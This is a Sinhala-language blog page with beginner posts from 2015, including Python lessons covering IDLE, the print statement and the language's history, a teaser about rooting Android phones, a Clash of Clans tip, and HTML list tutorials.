    හරි එහෙනම් දැන් ඔයාල 2.7 version එක install කරගත්තට පස්සේ පේනවා ඇති

    1. IDLE (Python GUI)
    2. Python (command line)
    විදිහට දෙකක් තියනවා..මේ දෙකේ වෙනස තමා python command line එක ගත්තම අපේ පරිගනකයේ තියන Command Prompt(CMD) හරහා python interpreter එක ක්‍රියාත්කම කරවන එක කරනවා..

    ඒ උනත් මේක පාවිච්චි කරන එක ටිකක් විතර අප්‍රසන්න දෙයක් නිසා පාවිච්චි කරන අයට හිතට අල්ලන GUI Application එකක් විදිහට හදපු එක IDLE(IDE-Integrated Development Environment) කියලා හදුන්වනවා..මේ IDE එකක් පාවිච්චි කරාම ලොකු program හදන්න වගේම debugging(දෝෂ නිවැරදි කිරීම) ලේසියෙන් කරන්න පුලුවන්.


    මේ IDE එකට අමතරව තව වැඩ කෑලි තියන NetBeans,PyCharm වගේ IDE තියනවා..මම ලොකු program හදද්දි PyCharm IDE එක පාවිච්චි කරනවා..ඔයාලටත් පුලුවන් ඕනෙනම් ඒ වගේ IDE එකක් පාවිච්චි කරන්න..

    ඔන්න දැන් අපි පලවෙනිම වැඩසටහන හදන්න යන්නේ..

    print 'Hello World'


    ඔන්න එතකොට Hello World කියලා output එකක් එනවා..python වලදි අපි වැඩසටහනක් run කරලා මොකක් හරි ප්‍රතිඵලයක් ගන්නවනේ..අන්න ඒක output කරන්න පාවිච්චි කරන්නේ මේ print statement
    එක..

    හොදයි එහෙනම් මේ Python අර්ථවින්‍යාසකයේදි භාවිතා කරන laws අපි ඊලග ලිපි වලින් බලමු..

    Tuesday, April 7, 2015

    Android Phones Root කරනවා කියන්නේ මොකද්ද?

    අලුතෙන් Android Phones ගන්න ගොඩක් කට්ටිය අහන ප්‍රශ්න කීපයක් තියෙනවා,

    ඒ අතරීන් වැඩි දෙනෙක් අහන්නේ,

    *මොකද්ද මේ Android Phones Root කරනවා කියන්නේ
    *Root කරාම ලැබෙන වාසි මොනවද?
    *Root කිරීම අවදානම්ද?
    *Root කරන්නේ කොහොමද?




    Clash of clans secrets (part 1) - Sandbox mode attack

    සුභ දවසක් ඔයාලා හැමෝටම. අද මම කතා කරන්න යන්නේ වෙනස්ම මාතෘකාවක් ගැන. මේක ඔයාල හැමෝටම වැදගත් වෙන්නේ නැති වෙයි. එත් Clash of Clans game එක play කර අයටනම් මේක ගොඩක් වැදගත් වෙයි.

    Saturday, April 4, 2015

    Python ක්‍රමලේඛන භාෂාව මුල සිට..| හැදින්වීම හා ඉතිහාසය

    හොදයි එහෙනම් ඔන්න Python Language එක ගැන පාඩම් මාලාව ආරම්භ කරන්න තමා යන්නේ..ඒත් ඊට කලින් මේ programming languages ගැන සහ programmers ගැන පොඩි හැදින්වීමක් කරන්න ඕනේ..

    මොනවද මේ Programming Languages කියන්නේ?


    අපි නූතන ලෝකයේ පාවිච්චි කරන්නේ විද්‍යුත් පරිගනක.මේ විද්‍යුත් පරිගනක වල හැම ක්‍රියාවක්ම පාලනය වෙන්නේ ද්විමය ක්‍රියාවලියකින්..ඒ කිව්වේ එක්කෝ විදුලිය තියනවා..නැත්තන් නෑ..(True or False,1 or 0 etc.)පරිගනකයට අදුරගන්න පුලුවන් වෙන්නේ මෙන්න මේ අවස්ථා දෙක විතරයි..

    ඒත් ඉතින් අපි පරිගනකයක් භාවිතා කරනනේ අපේ යම්කිසි බරපතල වැඩක් ලේසියෙන් කරගන්න ඕන නිසානේ..ඒත් මේ පරිගනකයට කිසිම බුද්ධියක් නෑ තමන් මොකක්ද කරන්න ඕන කියලා තීරනය කරන්න..අපි එයාට මුල ඉදලා අගටම කියලා දෙන්න ඕනේ මොන විදිහටද වැඩ කරන්න ඔන කියලා..

    අන්න එහෙම කියලා දෙන්න නම් පරිගනකය සහ අපි අතර යම් කිසි විදිහකට අදහස් හුවමාරුවක් වගේ දෙයක් වෙන්න ඕනේ..ඒකට තමා අපිට පොදු භාෂාවක් ඕන කරන්නේ..

    උදාහරනයක් විදිහට හිතන්න අපි ලග ඉන්නව රුසියන් ජාතිකයෙක්..අපිට ඕනේ මේ රුසියන් ජාතිකයට 10 පාරක් උඩ පනින්න කියල කියන්න...ඒත් අපි ඒක සිංහලෙන් කිව්වොත්...ඒක එයාට තේරෙන්නේ නෑ..එයා රුසියන් භාෂාවෙන් අපිට දෙයක් කිව්වොත් ඒක අපිට තේරනේනේ නෑ..

    ඉතින් එහෙනම් අපි දෙන්නට දෙන්න අදහස් හුවමාරු කරගන්නනම් එක්කෝ අපි දෙන්නම දන්න පොදු භාෂාවක් යොදා ගන්න වෙනවා..නැත්තන් භාෂා පරිවර්ථකයෙක් ඕන වෙනවා..

    ඒ වගේ තමා අපි පරිගනකයට උපදෙස් දෙන්න යද්දිත් එක්කෝ අපිට යාන්ත්‍රික භාෂාව ඉගෙන ගන්න වෙනවා..නැත්තන් භාෂා පරිවර්තකයෙක්ගේ සහය ගන්න වෙනවා..

    ඒත් මෙතනදි ලොකුම ප්‍රශ්නේ තමා මේ භාෂා පරිවර්තකයට මේ ලොකේ තියන හැම භාෂාවම යාන්ත්‍ර භාෂාවට පරිවර්ථනය කරන්න බෑ..

    මෙන්න මේ විදිහට භාෂා පරිවර්ථකයට හදුනගන්න පුලුවන් විදිහට හදපු භාෂාවක් Programming language එකක් විදිහට හදුන්වන්න පුලුවන්,
    Python වගේ පරිගනක භාෂා වල භාවිතා වෙන්නේ Interpreter කියන භාෂා පරිවර්තකයා..මෙයාගේ තියන විශේෂත්වය වෙන්නේ අපි දෙන උපදෙසෙන් උපදෙසට යාන්ත්‍ර භාෂාවට පරිවර්තනය කිරීම මෙයා සිදු කරනවා..




    C,Pascal වගේ භාෂා වල compiler කියන භාෂා පරිවර්ථකයා භාවිතා වෙනවා..මෙයා කරන්නේ අපි දීලා තියන උපදෙස් ඔක්කෝම එකවර යාන්ත්‍ර භාෂාවට පරිවර්ථනය කරන එක..





    එතකොට BASIC වගේ සමහර භාෂාවල මේ Compilers සහ interpreters කියන 2ම භාවිතා වෙනවා.

    ගොඩක් ඉස්සර පාවිච්චි කරපු Assembly Language එකේදි Assembler කියන භාෂා පරිවර්ථකයා භාවිතා උනා..



    කවුද මේ Programmers?


    අද ගොඩක් අය හිතාගෙන ඉන්නේ programmer කෙනෙක් කියන්නේ පරිගනක මෘදුකාංග හදන කෙනෙක් විතරයි කියලා..ඒ උනත් ඇත්තටම programmer කෙනෙක් කියන්නේ නව නිපැයුම්කරුවෙක්..

    අලුත් දෙයක් සැලසුම් කරලා ඒකට අදාල සැලැස්ම හදලා ඒ සැලැස්මට අදාලව පරිගනක වැඩසටහනක් ලියන එක තමා මේ programmer කෙනෙක් අතින් සිද්ද වෙන්නේ..
    අනිත් අතින් අපි හැමෝම දන්න හැකර් කෙනෙක් බිහිවෙන්නෙත් මේ programmer කෙනෙක් තුලින්මයි..

    ඒ උනත් හොදට මතක තියා ගන්න ඕන දෙයක් තමා Hollywood චිත්‍රපටිවල ඉන්නනේ ඔය අමුතුම විදිහම හැකර්ලා..ඒ කිවේ keyboard එකේ button 2ක් 3ක් ඔබලා සම්පූර්ණ පරිගනක ජාලයක්ම ආක්‍රමනය කරන අය ඉන්නවනේ..

    ඒ උනත් ඇත්ත තත්වය ඊට ගොඩක් වෙනස් කියන එක හොදට තේරුම් ගන්න ඕනේ..මොකද ඔය කියනව වගේ ලේසියෙන් හැක් කරන්න පුලුවන්නම් අද වෙනකොට අන්තර්ජාලයක් කියල දෙයක් ඉතුරු වෙලා නෑ..
    ඒ නිසා ඔයා හොද developper කෙනෙක් වෙන්න ඕන කෙනෙක්නම් හරි එහෙමත් නැත්නම් හොද Hacker කෙනෙක් වෙන්න ඕන නම් හරි අනිවාර්යෙන්ම ඉතා හොද programmer කෙනෙක් වෙන්න වෙනවා..

    Python

    හොදයි එහෙනම් ඔන්න මාතෘකාවට බහින්න තමා යන්නේ..Python කියන්නේ 1989 දි විතර  Guido van Rossum කියන නෙදර්ලන්ත ජාතිකය විසින් නිර්මානය කිරීම අරඹපු ඉහල මට්ටමේ පරිගනක භාෂාවක්..මේ python භාෂාව නිර්මානය වෙන්න අඩිතාලම වැටුනේ ABC කියන පරිගනක භාෂාවෙන්..

    ඔය වගේ හොද ඉතිහාසයක් මේ පරිගනක භාෂාව සතු වෙනවා..

    ඇයි අපි Python තෝරා ගත යුත්තේ?

    python තෝරා ගැනීමට හේතු ගොඩක් තියනවා..

    • ඉගෙන ගැනීමට ඉතා පහසු හා සරල,එහෙත් බලවත් වීම
    • මිනිස් භාෂාවට (English) වඩා සමීප වීම
    • අඩු උපදෙස් ගනනකින් වඩා සංකීර්න වැඩසටහනක් වුවත් නිර්මානය කල හැකි වීම
    • ඉහල රැකියා වෙලදපොලක් පැවතීම
    • Windows,Linux,Unix,Mac OS X ආදී මෙහෙයුමු පද්ධති ගනනාවක් සමග ක්‍රියාකාරී වීම
    • මෘදුකාංග නිර්මානයට මෙන්ම වෙබ් අඩවි නිර්මානයටද යොදාගත හැකි වීම
    මේ වගේ වාසි ගොඩක් තියනවා..

    Python ආධාරයෙන් නිමවූ ප්‍රසිද්ධ වෙබ් අඩවි සහ මෘදුකාංග


    මේ පිලිබද සලකා බැලීමෙිදී පහත ක්ෂේත්‍ර වලදි ප්‍රධාන ලෙස මෙම භාෂාව ප්‍රයෝජනයට ගනී.
    • අන්තර්ජාලය හා සම්බන්ධ වෙබ් අඩවි නිිර්මානයේදී
    • විද්‍යාත්මක හා සංඛ්‍යයාත්මක කටයුතු වලදී
    • අධ්‍යාපනික කටයුතු වලදී
    • රූපක පරිශීලක අතුරුමුහුනත් සහිත මෘදුකාංග නිර්මානයට
    • අනෙකුත් මෘදුකාංග නිර්මානයට
    Google Search Engine,Facebook,YouTube,Yahoo,Bing ආදී සුප්‍රසිද්ද වෙබ් අඩවි නිර්මානයටද python යොදාගෙන ඇති බව ඔබ දන්නවාද?

    තවද NASA ආයතනයේ දෛනික කටයුතු වලදී මෙන්ම වෙනත් ප්‍රසිද්ද මෘදුකාංග නිපදවීම සදහාද මෙම භාෂාව භාවිතා කර ඇත..ඒ පිලිබද වැඩිදුර තොරතුරු http://en.wikipedia.org/wiki/List_of_Python_software

    එහෙනම් python language එක ගෙන ගැනීමේ ප්‍රෙයා්ජන තියනව කියල දැන් ඔයාලට පේනව ඇති..ඊලග ලිපියේ ඉදන් මුල ඉදන් Python Language එක ගැන ලිපි පල කරන්නම්..

    Saturday, March 21, 2015

    HTML භාවිතයෙන් විස්තරාත්මක ලැයිස්තු (Description List) සැකසීම

    විස්තරාත්මක ලැයිස්තු (Description List) සැකසීම
    අප මුල් පාඩම් දෙකෙන්  ලැයිස්තු වර්ග දෙකක් සැකසීම සදහා HTML Tags යොදා ගන්නා ආකාරය ඉගෙන ගත්තා ඔබට මතක ඇති. මේ පාඩමෙන් මම කියා දෙන්න යන්නේ විස්තරාත්මක ලැයිස්තුවක් සකස් කරන ආකාරය.

    HTML භාවිතයෙන් ලැයිස්තු සැකසීම II වන කොටස

    පසුගිය HTML LIST පාඩමෙන් අපි පිළිවෙළක් සහිත ලැයිස්තුවක් සකසන ආකාරය ඉගෙන ගත් නිසා අපි දැන් බලමු පිළිවෙලක් නොමැති(unordered list) ලැයිස්තුවක් සකස් කරන ආකාරය.